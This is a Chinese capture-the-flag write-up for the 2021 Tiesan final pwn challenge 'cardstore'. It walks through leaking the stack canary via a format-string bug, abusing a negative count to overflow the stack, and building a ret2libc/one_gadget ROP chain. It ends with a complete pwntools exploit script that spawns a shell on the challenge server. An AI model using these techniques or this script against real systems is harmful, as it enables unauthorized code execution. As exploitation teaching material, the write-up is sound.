• 2021铁三决赛 PWN cardstore | 格式化字符串 & ret2libc


    Canary 绕过

    checksec

    64 位程序,libc2.23,开启 Canary 和 NX 保护

    手玩一下发现逻辑不难懂,可以创建和删除一个 storage,或者变更它的 card 数量

    IDA

    首先看一下选项 1 的 sub_400805() 函数,第十五行有明显的格式化字符串漏洞

    由于一个进程的所有函数共享同一个 Canary 值,所以可以考虑在这个函数里泄露出 Canary 使用

    接着要确定 Canary 是 printf 的第几个参数,由于只能输入 8 个字节,所以这样模糊测试:AAAA%n$p

    (其中 n 为需要枚举的参数)

    最后在 n=6 时输出了含 0x41414141 的参数,又因为正常的缓存区距离 Canary 正好是 8 字节,为一个参数的大小

    所以由此确定 Canary 相对于 printf 是第 7 个参数,传入 %7$p 来泄露

    选项 2 的 sub_40088A() 函数

    没有明显的漏洞,但可以看出程序想让 card 数量在 50 以内

    选项 3 的 sub_400907() 函数

    这是一个一个让 card 数量减少 v1 的函数,如果令 v1 为负数,第 12 行的 if 语句就一定会满足条件

    接下来可以在 buf 的缓存区读入 nbytes 字节的数据,由于 nbytes 是我们可以控制的,所以这里存在栈溢出漏洞

    在栈溢出的过程在要注意把前面获取的 Canary 值放到 ebp-0x8 的位置,才能顺利控制程序执行流

    接下来就是 ret2libc 的问题了,IDA 查看到源程序里没有 system() 函数也没有 /bin/sh,所以要在 libc 里面找

    ret2libc & ROP

    ROP利用思路如下:在 sub_400907() 里用 puts() 函数泄露 got 表地址,计算出 libc 基址后再次返回 sub_400907()

    第二次溢出可以用 system 和 /bin/sh 构造 payload(但是我今天试了两个小时都没成功)也可以直接用 one_gadget

    由于是 64 位的程序,参数要用寄存器来传参,先用 ROPgadget 找到 pop rdi;ret ,放到 ROP 链里面

    one_gadget:

    最后是用 gadget[0] 打通的,为了满足 NULL 条件需要在栈里面覆盖多一些 x00

    EXP

    from pwn import *
    context.log_level = 'debug'
    gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    libc = ELF('./libc-2.23.so')
    elf = ELF('./cardstore')
    #io = process(['/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so', './cardstore'], env={'LD_PRELOAD':'./libc-2.23.so'})
    io = remote('172.20.14.167', '9999')
    puts_plt = elf.plt['puts']; bin_sh = 0x18cd57; system = 0x45390
    pop_ret = 0x400b73; puts_got = elf.got['puts']; main = 0x400A47; puts = 0x6F690
    def debug(): gdb.attach(io); pause()
    io.sendlineafter('game!
    ', '1')
    #io.sendlineafter('name:
    ', 'AAAA%6$p')
    log.info(io.recv())
    io.sendlineafter('name:
    ', 'AAAA%7$p')
    io.recvuntil('0x')
    canary = int(io.recv(16), 16)
    log.info('canary -> {}'.format(hex(canary)))
    io.sendlineafter('>>
    ', '3')
    io.sendlineafter('
    ', '-1000')
    payload = 'a'*(0x110-8) + p64(canary) + 'b'*8
    #payload += p64(main)
    payload += p64(pop_ret) + p64(puts_got) + p64(puts_plt) + p64(0x400907)
    #log.info(payload)
    io.sendlineafter('game?
    ', payload)
    
    libc_base = u64(io.recv(6).ljust(8,'x00')) - puts
    log.info('libc_base -> ' + hex(libc_base))
    log.info('binsh -> ' + hex(libc_base + bin_sh))
    payload = 'a'*(0x110-8) + p64(canary) + 'b'*8
    log.info(libc.symbols['system'])
    payload += p64(libc_base + gadget[0]) + 'x00'*300
    #payload += p64(pop_ret) + p64(libc_base + bin_sh) + p64(libc_base + libc.symbols['system'])
    io.sendlineafter('delete?
    ', '0')
    io.sendlineafter('game?
    ', payload)
    io.interactive()
    

    总结

    这道题是铁三决赛最简单的一道 pwn,但是因为手生和各种奇奇怪怪的问题调了特别久,好累

    但是最后还是拿到了奖,没有白白盯着电脑八个小时 233

  • 相关阅读:
    去掉字符串中的空格
    在线工具和云服务推荐
    Tomcat 8080端口被占用解决方法
    MySQL 相关总结
    去除Jsp页面空白行
    linux 常用命令
    最近面试Android的一些面试题
    Android动态加载Activity原理
    Android动态资源加载原理和应用
    利用DexClassLoader动态加载dex文件
  • 原文地址:https://www.cnblogs.com/zhwer/p/14745175.html
Copyright © 2020-2023  润新知